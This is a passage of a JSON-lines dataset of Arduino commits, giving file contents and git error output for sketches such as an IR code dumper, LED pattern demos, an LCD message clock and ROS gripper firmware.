Mouse.click(MOUSE_LEFT);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n delay(50);\n Keyboard.releaseAll();\n Mouse.click(MOUSE_LEFT);\n Mouse.click(MOUSE_LEFT);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/keyboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b7ef1a4fa3e801627efad4c5c88b0f555e726ca","subject":"Create IRrecvDump1.ino","message":"Create IRrecvDump1.ino","repos":"marcelolarios\/IRremote,marcelolarios\/IRremote","old_file":"example\/IRrecvDump\/IRrecvDump1.ino","new_file":"example\/IRrecvDump\/IRrecvDump1.ino","new_contents":"\/*\n * IRremote: IRrecvDump - dump details of IR codes with IRrecv\n * An IR detector\/demodulator must be connected to the input RECV_PIN.\n * Version 0.1 July, 2009\n * Copyright 2009 Ken Shirriff\n * http:\/\/arcfn.com\n * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post)\n *\/\n\n#include <IRremote.h>\n\nint RECV_PIN = 11;\n\nIRrecv irrecv(RECV_PIN);\n\ndecode_results results;\n\nvoid setup()\n{\n Serial.begin(9600);\n irrecv.enableIRIn(); \/\/ Start the receiver\n}\n\n\/\/ Dumps out the decode_results structure.\n\/\/ Call this after IRrecv::decode()\n\/\/ void * to work around compiler issue\n\/\/void dump(void *v) {\n\/\/ decode_results *results = (decode_results *)v\nvoid dump(decode_results *results) {\n int count = results->rawlen;\n if (results->decode_type == UNKNOWN) {\n Serial.print(\"Unknown encoding: \");\n } \n else if (results->decode_type == NEC) {\n Serial.print(\"Decoded NEC: \");\n } \n else if (results->decode_type == SONY) {\n Serial.print(\"Decoded SONY: \");\n } \n else if (results->decode_type == RC5) {\n Serial.print(\"Decoded RC5: \");\n } \n else if (results->decode_type == RC6) {\n Serial.print(\"Decoded RC6: \");\n }\n else if (results->decode_type == PANASONIC) {\t\n Serial.print(\"Decoded PANASONIC - Address: \");\n Serial.print(results->panasonicAddress,HEX);\n Serial.print(\" Value: \");\n }\n else if (results->decode_type == JVC) {\n Serial.print(\"Decoded JVC: \");\n }\n Serial.print(results->value, HEX);\n Serial.print(\" (\");\n Serial.print(results->bits, DEC);\n Serial.println(\" bits)\");\n Serial.print(\"Raw (\");\n Serial.print(count, DEC);\n Serial.print(\"): \");\n\n for (int i = 0; i < count; i++) {\n if ((i % 2) == 1) {\n Serial.print(results->rawbuf[i]*USECPERTICK, DEC);\n } \n else {\n Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC);\n }\n Serial.print(\" \");\n }\n Serial.println(\"\");\n}\n\n\nvoid loop() {\n if (irrecv.decode(&results)) {\n Serial.println(results.value, HEX);\n dump(&results);\n irrecv.resume(); \/\/ Receive the next value\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'example\/IRrecvDump\/IRrecvDump1.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a36cb883b076ee463372dcdccd760eec0bdd1ed2","subject":"added a comment to a file to see how to merge into a branch","message":"added a comment to a file to see how to merge into a branch\n","repos":"mule-ear\/shiny-spice,mule-ear\/shiny-spice,mule-ear\/shiny-spice","old_file":"SevSegmentDriver9.ino","new_file":"SevSegmentDriver9.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mule-ear\/shiny-spice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"85254761cb30c050caa5294d74dfbc522e7df6f4","subject":"Class shuffle","message":"Class shuffle\n","repos":"mcelligottnick\/digitalPotController,mcelligottnick\/digitalPotController","old_file":"arduino\/digitalPotController\/digitalPotController.ino","new_file":"arduino\/digitalPotController\/digitalPotController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcelligottnick\/digitalPotController.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"eaaaf1149e64df283e3c03c0311eef52dd573c2d","subject":"Create akeru-test-sketch.ino","message":"Create akeru-test-sketch.ino\n\ntest sketch for checking SigFox-Backend","repos":"nicho90\/IoB-Devices,nicho90\/IoB-Devices","old_file":"akeru-test-sketch.ino","new_file":"akeru-test-sketch.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Akeru.h>\n \n\/\/ Initialize the modem:\nvoid setup() {\n\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n Serial.println(\"Starting...\");\n\n \/\/ Wait 1 second for the modem to warm up\n delay(1000);\n\n \/\/ Init modem\n Akeru.begin();\n \n}\n\ntypedef struct {\n char user;\n int currentDate;\n int currentTime;\n int counter;\n} Payload;\n\n\nvoid loop() { \n \n Payload p;\n \n p.counter = 0;\n p.user = 'n';\n p.currentDate = 20150510;\n p.currentTime = 1941;\n \n if(!Akeru.isReady()) {\n Serial.println(\"Modem not ready\");\n delay(1000);\n } else {\n Serial.println(\"Modem ready\");\n delay(1000);\n \n if (p.counter==0) {\n \/\/ Send data:\n Akeru.send(&p, sizeof(p));\n Serial.println(\"Message sent\");\n delay(1000);\n \n p.counter++;\n \n } else {\n Serial.println(\"Counter>0\");\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'akeru-test-sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d9bc2d4b7b04b89779510fb39a2056e45011f81","subject":"More dallas sensors can be connected, relay works.","message":"More dallas sensors can be connected, relay works.\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/TempAndRelay\/tempAndRelay.ino","new_file":"modules\/TempAndRelay\/tempAndRelay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2dff84490e6911b7cc427d38654773a81a309089","subject":"put arduino code in it's own dir","message":"put arduino code in it's own dir\n","repos":"WatSat-ADCS\/Arduino-ish,WatSat-ADCS\/Arduino-ish","old_file":"WatSat_arduino_code.ino","new_file":"WatSat_arduino_code.ino","new_contents":"\/*\nhigh pwm means low voltage\nlow pwm means high voltage\n*\/\n\n\/\/All code is using variables, which can change\n\/\/Figure out how data for magnetometers have to be handled (photodiodes and temp are just default\n\n\nint select = 1; \/\/value from 0 to 15, telling which line on the MUX to select and in this form to easily convert to binary that's need for control lines \n\nint control0 = 2;\nint control1 = 3;\nint control2 = 4;\nint control3 = 5;\n\nvoid setup() {\n Serial.begin(9600);\n \n pinMode(control0, OUTPUT); \n pinMode(control1, OUTPUT); \n pinMode(control2, OUTPUT); \n pinMode(control3, OUTPUT); \n \n}\n\nvoid loop() {\n\/*\n for(int i=1; i<16; i++){\n Serial.println(i);\n selectLine(i); \n Serial.print(digitalRead(control3)); \n Serial.print(digitalRead(control2)); \n Serial.print(digitalRead(control1)); \n Serial.print(digitalRead(control0)); \n Serial.println(); \n delay(1000); \n }\n*\/\n if (Serial.available() <= 0){\n Serial.print('serial unavailable');\n }\n \n char in;\n while (Serial.available() > 0){\n in = Serial.read();\n Serial.print(in);\n delay(100);\n }\n \n \/*\n Serial.println((value>>n) & 1\n \n \/\/ checks for if anything needs to be done \n if (Serial.available() > 0){\n request_status = Serial.read();\n if (request_status == 1111){\n \/\/ TODO: get sensor data\n }else if (request_status == 0000){\n \/\/ TODO: activate actuators\n }\n }\n *\/\n}\n\n\n\nvoid selectLine(int inputNum){\n \/\/given number of the input lines we'd like, activate the control lines which select them\n if(0 < inputNum && inputNum < 16){\n \n if (inputNum >= 8){\n digitalWrite(control3,HIGH);\n inputNum = inputNum - 8; \n }\n else{\n digitalWrite(control3,LOW);\n }\n \n \n if (inputNum >= 4){\n digitalWrite(control2,HIGH);\n inputNum = inputNum - 4;\n }\n else{\n digitalWrite(control2,LOW);\n }\n \n \n \n if (inputNum >= 2){\n digitalWrite(control1,HIGH);\n inputNum = inputNum - 2;\n }\n else{\n digitalWrite(control1,LOW);\n }\n \n \n \n \n if (inputNum >= 1){\n digitalWrite(control0,HIGH);\n inputNum = inputNum - 1;\n }\n else{\n digitalWrite(control0,LOW);\n }\n \n \n }\n}\n\n\n\n\n\n\n\/*\n\nfloat readPhotoDiode(int pin){\n \/\/ read the input on analog pin 0:\n int sensorValue = analogRead(A0);\n \/\/ Convert the analog reading (which goes from 0 - 1023) to a voltage (0 - 5V):\n float voltage = sensorValue * (5.0 \/ 1023.0);\n \/\/ print out the value you read:\n Serial.println(voltage);\n\n\n\n sensorValue = analogRead(pin);\n float voltage = sensorValue * (5.0 \/ 1023.0); \n return voltage; \n}\n*\/\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"b1cf7a811ae6d1fdd264128d35e0fd9d14a8db74","subject":"Initial code upload","message":"Initial code upload\n","repos":"malwilley\/custom-message-clock","old_file":"custom_message_clock_arduino_code.ino","new_file":"custom_message_clock_arduino_code.ino","new_contents":"#include <Timezone.h>\r\n#include <Wire.h>\r\n#include <DS3232RTC.h>\r\n#include <SPI.h>\r\n#include <SD.h>\r\n#include <LiquidCrystal.h>\r\n#include <Time.h>\r\n\r\n\/\/ LCD GLOBAL VARIABLES\r\nLiquidCrystal lcd(2, 3, 4, 5, 6, 7);\r\n\r\n\/\/ TIMEZONE VARIABLES\r\nTimeChangeRule usCDT = { \"CDT\", Second, Sun, Mar, 2, -300 }; \/\/ UTC - 5hr\r\nTimeChangeRule usCST = { \"CST\", First, Sun, Nov, 2, -360 }; \/\/ UTC - 6hr\r\nTimezone usCentral(usCDT, usCST);\r\nTimeChangeRule *tcr;\r\ntime_t utc, local;\r\n\r\n\/\/ SD GLOBAL VARIABLES\r\nconst int CHIP_SELECT = 8;\r\nFile file;\r\nconst String FILENAME = \"robit.txt\";\r\nint numMessages;\r\nint messageLine;\r\nchar c;\r\n\r\nint messageLengthSec = 200; \/\/ how long the message stays before changing (in seconds)\r\nint timer = messageLengthSec + 1; \/\/ start timer above threshold to create new message on reset\r\n\r\n\/\/ Opens the text file and reads the total number of lines.\r\n\/\/ Also syncs with the clock module.\r\nvoid setup() {\r\n\t\/\/Serial.begin(115200);\r\n\r\n\t\/\/ LCD INITIALIZATION\r\n\tlcd.begin(20, 4);\r\n\tlcd.clear();\r\n\r\n\t\/\/ SD INITIALIZATION\r\n\tpinMode(10, OUTPUT);\r\n\tif (!SD.begin(CHIP_SELECT)) {\r\n\t\treturn;\r\n\t}\r\n\t\/\/Serial.println(\"Card initialized.\");\r\n\tfile = SD.open(FILENAME);\r\n\tif (file) {\r\n\t\t\/\/Serial.println(FILENAME + \" opened successfully!\");\r\n\t\tc = file.read();\r\n\t\tnumMessages = 1;\r\n\t\twhile (file.available()) {\r\n\t\t\tif (c == '\\n') {\r\n\t\t\t\tnumMessages++;\r\n\t\t\t}\r\n\t\t\tc = file.read();\r\n\t\t}\r\n\t\tfile.close();\r\n\t}\r\n\telse {\r\n\t\t\/\/Serial.println(\"Unable to open \" + FILENAME);\r\n\t}\r\n\t\r\n\t\/\/ Uncomment on first run to set time\r\n\t\/\/setDateTime();\r\n\tsetSyncProvider(RTC.get);\r\n\tlong time = (long)now();\r\n\t\/\/Serial.println(time);\r\n\trandomSeed(time*time);\r\n}\r\n\r\nvoid setDateTime(){\r\n\tsetTime(17, 21, 11, 31, 10, 2015); \/\/ hr, min, sec, day, month, year\r\n\tRTC.set(now());\r\n}\r\n\r\n\/\/ Updates time 1\/sec and draws a new message 1\/200sec\r\nvoid loop() {\r\n\tupdateTime();\r\n\r\n\t\/\/ Determines how long each message stays before it is changed (in seconds)\r\n\tif (timer > 200) {\r\n\t\tprintNewMessage();\r\n\t\ttimer = 0;\r\n\t}\r\n\r\n\tdelay(1000); \/\/ 1 second \r\n\ttimer++;\r\n}\r\n\r\n\/\/ LCD METHODS\r\n\r\nvoid clearLine(int linenum) {\r\n\tlcd.setCursor(0, linenum);\r\n\tlcd.print(\" \");\r\n}\r\n\r\n\/\/ Updates the first two lines of the display in the format:\r\n\/\/ 00:00 on Weekday\r\n\/\/ Month 00th\r\nvoid updateTime() {\r\n\tutc = now();\r\n\tlocal = usCentral.toLocal(utc);\r\n\r\n\tString minStr;\r\n\tString secStr;\r\n\tString topLineMessage;\r\n\tString secondLineMessage;\r\n\r\n\tif (minute(local) < 10) {\r\n\t\tminStr = \"0\" + String(minute(local));\r\n\t}\r\n\telse {\r\n\t\tminStr = String(minute(local));\r\n\t}\r\n\r\n\tlcd.setCursor(0, 0);\r\n\ttopLineMessage = String(hourFormat12(local)) + \":\" + minStr + \" on \" + dayStr(weekday(local));\r\n\tlcd.print(topLineMessage);\r\n\tfor (int i = 0; i < 20 - topLineMessage.length(); i++) {\r\n\t\tlcd.print(' ');\r\n\t}\r\n\t\/\/ SECOND LINE\r\n\tsecondLineMessage = monthStr(month(local)) + String(\" \") + String(day(local));\r\n\tif ((day(local) == 1) || (day(local) == 21) || (day(local) == 31)) {\r\n\t\tsecondLineMessage += \"st\";\r\n\t}\r\n\telse if ((day(local) == 2) || (day(local) == 22)) {\r\n\t\tsecondLineMessage += \"nd\";\r\n\t}\r\n\telse if ((day(local) == 3) || (day(local) == 23)) {\r\n\t\tsecondLineMessage += \"rd\";\r\n\t}\r\n\telse {\r\n\t\tsecondLineMessage += \"th\";\r\n\t}\r\n\tlcd.setCursor(0, 1);\r\n\tlcd.print(secondLineMessage);\r\n\tfor (int i = 0; i < 20 - secondLineMessage.length(); i++) {\r\n\t\tlcd.print(\" \");\r\n\t}\r\n}\r\n\r\n\/\/ Displays a message on the last two lines of the display.\r\n\/\/ Message must be <= 40 characters\r\nvoid writeMessage(String text) {\r\n\tif (text.length() > 40) {\r\n\t\tlcd.setCursor(0, 2);\r\n\t\tlcd.print(\"Message > 40 chars\");\r\n\t\treturn;\r\n\t}\r\n\tif (text.length() > 20) {\r\n\t\tString line1 = text.substring(0, 20);\r\n\t\tString line2 = text.substring(20);\r\n\t\tlcd.setCursor(0, 2);\r\n\t\tlcd.print(line1);\r\n\t\tlcd.setCursor(0, 3);\r\n\t\tlcd.print(line2);\r\n\t\treturn;\r\n\t}\r\n\tlcd.setCursor(0, 2);\r\n\tlcd.print(text);\r\n}\r\n\r\n\/\/ SD METHODS\r\n\r\n\/\/ Reads the text file at the specifed line (zero based) and populates\r\n\/\/ the input char array with the format message[wordIndex][charIndex]\r\nvoid getMessageAtLine(int linenum, char message[][20]) {\r\n\tint wordIndex = -1;\r\n\tint letterIndex = 0;\r\n\tbool endOfLine = false;\r\n\tfor (int i = 0; i < 16; i++) {\r\n\t\tfor (int j = 0; j < 20; j++) {\r\n\t\t\tmessage[i][j] = '\\0';\r\n\t\t}\r\n\t}\r\n\tfile = SD.open(FILENAME);\r\n\tfor (int i = 0; i < linenum; i++) {\r\n\t\tc = file.read();\r\n\t\twhile (!(c == '\\n')) {\r\n\t\t\tc = file.read();\r\n\t\t\t\/\/Serial.print(c);\r\n\t\t}\r\n\t}\r\n\twhile (!endOfLine) {\r\n\t\tc = file.read();\r\n\t\twordIndex++;\r\n\t\tletterIndex = 0;\r\n\t\twhile (!(c == ' ')) {\r\n\t\t\tif ((c == '\\n') || (c == '\\r')) {\r\n\t\t\t\tendOfLine = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tmessage[wordIndex][letterIndex] = c;\r\n\t\t\tc = file.read();\r\n\t\t\tletterIndex++;\r\n\t\t}\r\n\t}\r\n\tfile.close();\r\n}\r\n\r\n\/\/ LCD + SD METHODS\r\n\r\n\/\/ Reads a message at a random line number and prints it\r\n\/\/ on the last two lines of the lcd display\r\nvoid printNewMessage() {\r\n\tchar message[16][20];\r\n\r\n\tint index = random(0, numMessages - 1);\r\n\r\n\t\/\/Serial.println(index);\r\n\tgetMessageAtLine(index, message);\r\n\tclearLine(2);\r\n\tclearLine(3);\r\n\tlcd.setCursor(0, 2);\r\n\tint charsLeft = 20;\r\n\tint wordIndex = 0;\r\n\tmessageLine = 2;\r\n\tString currWord;\r\n\twhile (!(message[wordIndex][0] == '\\0')) {\r\n\t\tcurrWord = String(message[wordIndex]);\r\n\t\tif ((currWord.length() > charsLeft) || (charsLeft <= 0)) {\r\n\t\t\tmessageLine = 3;\r\n\t\t\tlcd.setCursor(0, 3);\r\n\t\t\tcharsLeft = 20;\r\n\t\t\tlcd.print(currWord);\r\n\t\t\t\/\/Serial.print(currWord);\r\n\t\t\tcharsLeft -= (currWord.length() + 1);\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif (wordIndex > 0) {\r\n\t\t\t\tlcd.print(' ');\r\n\t\t\t\t\/\/Serial.print(' ');\r\n\t\t\t}\r\n\t\t\tlcd.print(currWord);\r\n\t\t\t\/\/Serial.print(currWord);\r\n\t\t\tcharsLeft -= (currWord.length() + 1); \/\/ for space character\r\n\t\t}\r\n\t\twordIndex++;\r\n\t\t\/\/Serial.println(charsLeft);\r\n\t}\r\n\tfor (int i = 0; i < charsLeft + 1; i++) {\r\n\t\tlcd.print(' ');\r\n\t}\r\n}","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"b139476c47be5f399f20b0f38fb426312eb73432","subject":"Create repeating_pattern.ino","message":"Create repeating_pattern.ino","repos":"marmilicious\/FastLED_examples","old_file":"repeating_pattern.ino","new_file":"repeating_pattern.ino","new_contents":"\/\/***************************************************************\n\/\/ repeating_pattern.ino\n\/\/ Marc Miller, Nov 2015\n\/\/\n\/\/ If we want a pattern to repeat every 5 pixels then the\n\/\/ first pixel set to light up would be: 0,5,10,15,20...\n\/\/ This can be represented by: leds[5*(x-1) + 5]\n\/\/ Let's put this into a loop with some variables!\n\/\/\n\/\/ There are severial print statements so you can open up\n\/\/ the serial monitor to see what's going on.\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\n#define MASTER_BRIGHTNESS 100\nCRGB leds[NUM_LEDS];\n\nuint8_t hue; \/\/ Pixel color\nuint8_t offset; \/\/ To keep track of the offset in the pattern\nuint16_t i; \/\/ A pixel position on the strip\n\n\/\/ How often does the pattern repeat? Change as needed.\nstatic uint16_t repeatEvery = 5;\n\n\/\/ Therefore the number of times the pattern will repeat down the strip is:\nstatic uint16_t numberOfRepeats = NUM_LEDS\/repeatEvery;\n\n\n\/\/---------------------------------------------------------------\nvoid setup() { \n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n delay(2500); \/\/ Delay to make sure serial monitor is ready.\n Serial.print(\"NumberOfRepeats = \"); Serial.print(numberOfRepeats);\n Serial.print(\" within the strip of length \"); Serial.print(NUM_LEDS);\n Serial.println(\".\");\n} \/\/END SETUP\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n \n for (offset = 0; offset < repeatEvery; offset++) { \/\/ Operate on each repeating pixel set\n hue = (255\/repeatEvery) * offset; \/\/ Change the hue for each pixel set.\n for (uint16_t x = 0; x < numberOfRepeats+1; x++) {\n i = (repeatEvery*(x-1)) + repeatEvery + offset; \/\/ The pixel number to draw\n if (i < NUM_LEDS) { \/\/ Only draw pixel numbers within NUM_LEDS\n leds[i] = CHSV(hue,180,255);\n Serial.print(\" offset: \"); Serial.print(offset);\n Serial.print(\" x: \"); Serial.print(x);\n Serial.print(\" leds[i]: \"); Serial.print(i);\n Serial.print(\" hue: \"); Serial.println(hue);\n FastLED.show(); \/\/ Display each pixel individually in a set\n delay(100);\n }\n } \/\/end of loop for pixel set\n\n Serial.println(\" \"); \n \/\/ Uncomment the show() below and comment out the show() above to\n \/\/ have all the pixels in a set display at the same time.\n \/\/FastLED.show(); \/\/ Display all pixels in a set at the same time.\n\n delay(800); \/\/ Pause before lighting next pixel set\n } \/\/end offset loop\n\n delay(1000); \/\/ pause before clearing\n FastLED.clear(); \/\/ clear the strip\n FastLED.delay(1400); \/\/ pause before starting over\n\n} \/\/END MAIN LOOP\n\n\n\/\/---------------------------------------------------------------\n\/\/TODO: Allow a negative repeatEvery value to reverse the direction?\n\/\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'repeating_pattern.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8267f11089743a6332d5fe3c461db9e92507dc52","subject":"small arduino program I made while I was sick","message":"small arduino program I made while I was sick","repos":"dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files","old_file":"rainbow_table.ino","new_file":"rainbow_table.ino","new_contents":"#include <Arduino.h>\n#include <inttypes.h>\n#include <FastLED.h>\n\n\/\/ we have a 9 by 9 grid of LED's on pin A0\n#define LED_DATA_PIN A0\n#define NUM_LEDS 81 \/\/ 9 x 9 = 81\nCRGB leds[NUM_LEDS];\n\n\/\/ cycle through the rainbow\ninline void cycle3(uint8_t& v0, uint8_t& v1, uint8_t& v2, uint8_t& curHi)\n{\n \/\/ shift values\n if (curHi == 0) {\n v0--; v1++;\n } else if (curHi == 1) {\n v1--; v2++;\n } else if (curHi == 2) {\n v2--; v0++;\n }\n\n \/\/ allign curhi\n if (v0 <= 0 && curHi == 0)\n curHi = 1;\n else if (v1 <= 0 && curHi == 1)\n curHi = 2;\n else if (v2 <= 0 && curHi == 2)\n curHi = 0;\n}\n\nvoid setup() \n{\n \/\/ link the colors to the LEDs\n FastLED.addLeds <WS2812B, LED_DATA_PIN, GRB>(leds, NUM_LEDS);\n}\n\nvoid loop() \n{\n \/\/ this shifts the rainbow along the 81-led view\n static uint16_t offset = 0;\n \n \/\/ initialize the rainbow\n uint8_t r = 255, g = 0, b = 0, curHi = 0;\n\n \/\/ shift the rainbow\n for (int i = 0; i < offset; i++)\n cycle3(r, g, b, curHi);\n\n \/\/ set the colors\n for (int i = 0; i < NUM_LEDS; i++) {\n leds[i] = CRGB(r, g, b);\n cycle3(r, g, b, curHi);\n }\n\n \/\/ apply the colors\n FastLED.show();\n\n \/\/ if you want it to go slower\n \/\/ the code written here actually runs slow enough\n \/\/ that you don't really need a delay\n \/\/delay(5);\n\n \/\/ offset reached 24bit max (2^24)\n if (++offset > 16777216)\n offset = 0;\n\n \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rainbow_table.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"73aac92e89868743745e8c16025e22daafc08a35","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/05.Control\/switchCase2\/switchCase2.ino","new_file":"build\/shared\/examples\/05.Control\/switchCase2\/switchCase2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 73aac92e89868743745e8c16025e22daafc08a35\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c473a9c2b77c362a1732910e460b4a47285f5d4c","subject":"Added first example","message":"Added first example\n","repos":"lloydroc\/criticalmaking.arduino","old_file":"simple_photoresistor\/simple_photoresistor.ino","new_file":"simple_photoresistor\/simple_photoresistor.ino","new_contents":"#define thresh 600 \/\/ If our analogRead is less than this we will blink\n\nvoid setup() {\n pinMode(13,OUTPUT); \/\/ On board LED in Arduino Micro is 13\n}\n\nvoid loop() {\n int sensorValue = analogRead(A0); \/\/ read the voltage from the sensor on A0\n Serial.println(sensorValue,DEC); \/\/ print the value\n digitalWrite(13,sensorValue<500); \/\/ Light LED if sensorValue is under thresh, else dark \n delay(1000); \/\/ sleep for 1 second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'simple_photoresistor\/simple_photoresistor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"63626bac5f965dfcc3e5bffaaeb8d4167d5cd5a0","subject":"Returning the output string to the correct format. This will test the workflow from Mac to Raspberry Pi to Arduino","message":"Returning the output string to the correct format. This will test the workflow\nfrom Mac to Raspberry Pi to Arduino\n","repos":"TheSeanBrady\/e.arduino","old_file":"src\/temp_mon.ino","new_file":"src\/temp_mon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheSeanBrady\/e.arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d298fc7f5ced25d67b9f8a09fd809120b97f9879","subject":"added firmware of left gripper-v3 arduino","message":"added firmware of left gripper-v3 arduino\n","repos":"pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc","old_file":"jsk_2016_01_baxter_apc\/firmware\/gripper_front_manager_left.ino","new_file":"jsk_2016_01_baxter_apc\/firmware\/gripper_front_manager_left.ino","new_contents":"#include <SPI.h>\n#include <ros.h>\n#include <std_msgs\/String.h>\n#include <std_msgs\/Bool.h>\n#include <std_msgs\/Float64.h>\n#include <std_msgs\/Float32.h>\n#include <std_msgs\/Int16.h>\n#include <Servo.h>\n\nconst float pi = 3.14159;\n\nunsigned long int temp_raw, pres_raw;\nsigned long int t_fine;\n\nuint16_t dig_T1;\nint16_t dig_T2;\nint16_t dig_T3;\nuint16_t dig_P1;\nint16_t dig_P2;\nint16_t dig_P3;\nint16_t dig_P4;\nint16_t dig_P5;\nint16_t dig_P6;\nint16_t dig_P7;\nint16_t dig_P8;\nint16_t dig_P9;\n\nros::NodeHandle nh; \/\/write with IDE\n\/\/ ros::NodeHandle_<ArduinoHardware, 1, 2, 512, 512> nh;\n\nstd_msgs::Float64 pressure_msg;\nstd_msgs::Bool bool_msg;\nstd_msgs::Bool servo_torque_msg;\nstd_msgs::Float32 servo_angle_msg;\n\nros::Publisher pressure_pub(\"gripper_front\/limb\/left\/pressure\/state\", &pressure_msg);\nros::Publisher state_pub(\"gripper_front\/limb\/left\/pressure\/grabbed\/state\", &bool_msg);\nros::Publisher servo_torque_pub(\"gripper_front\/limb\/left\/servo\/torque\/state\", &servo_torque_msg);\nros::Publisher servo_angle_pub(\"gripper_front\/limb\/left\/servo\/angle\/state\", &servo_angle_msg);\n\nunsigned long publisher_timer = 0;\nbool state = false;\n\nServo myservo;\n\ninline float rad_to_deg(float rad)\n{\n return rad * 180.0 \/ pi;\n}\n\nvoid set_angle(void)\n{\n myservo.write((int)(-rad_to_deg(servo_angle_msg.data) + 90.0));\n}\n\nvoid servo_angleCb(const std_msgs::Float32& angle_msg)\n{\n if (!state) return;\n if (angle_msg.data < -pi\/2.0) servo_angle_msg.data = -pi\/2.0;\n else if (angle_msg.data > pi\/2.0) servo_angle_msg.data = pi\/2.0;\n else servo_angle_msg.data = angle_msg.data;\n if (servo_torque_msg.data == false) return;\n set_angle();\n}\n\nvoid servo_torqueCb(const std_msgs::Bool& servo_toggle_msg)\n{\n if (!state) return;\n if (servo_toggle_msg.data) {\n servo_torque_msg.data = true;\n if (!myservo.attached()) myservo.attach(5);\n set_angle();\n } else {\n servo_torque_msg.data = false;\n if (myservo.attached()) myservo.detach();\n }\n}\n\nvoid servo_enableCb(const std_msgs::Bool& servo_enable_msg)\n{\n state = servo_enable_msg.data;\n if (!state) {\n servo_torque_msg.data = false;\n servo_angle_msg.data = 0;\n myservo.detach();\n }\n}\n\nros::Subscriber<std_msgs::Float32> servo_angle_sub(\"gripper_front\/limb\/left\/servo\/angle\", &servo_angleCb);\nros::Subscriber<std_msgs::Bool> servo_torque_sub(\"gripper_front\/limb\/left\/servo\/torque\", &servo_torqueCb);\nros::Subscriber<std_msgs::Bool> servo_enable_sub(\"gripper_front\/enable\", &servo_enableCb);\n\nvoid setup() {\n servo_torque_msg.data = false;\n servo_angle_msg.data = 0;\n init_servo();\n pinMode(SS, OUTPUT);\n digitalWrite(SS, HIGH);\n nh.getHardware()->setBaud(115200);\n nh.initNode();\n nh.subscribe(servo_angle_sub);\n nh.subscribe(servo_torque_sub);\n nh.subscribe(servo_enable_sub);\n nh.advertise(pressure_pub);\n nh.advertise(state_pub);\n nh.advertise(servo_torque_pub);\n nh.advertise(servo_angle_pub);\n\n SPI.begin();\n SPI.setClockDivider(SPI_CLOCK_DIV8);\n initBME();\n readTrim();\n}\n\n\nvoid loop() {\n float temp_act = 0.0, press_act = 0.0;\n unsigned long int press_cal, temp_cal;\n \n if (!nh.connected()) {\n servo_torque_msg.data = false;\n servo_angle_msg.data = 0;\n myservo.detach();\n } else if (millis() > publisher_timer) {\n readData();\n temp_cal = calibration_T(temp_raw);\n press_cal = 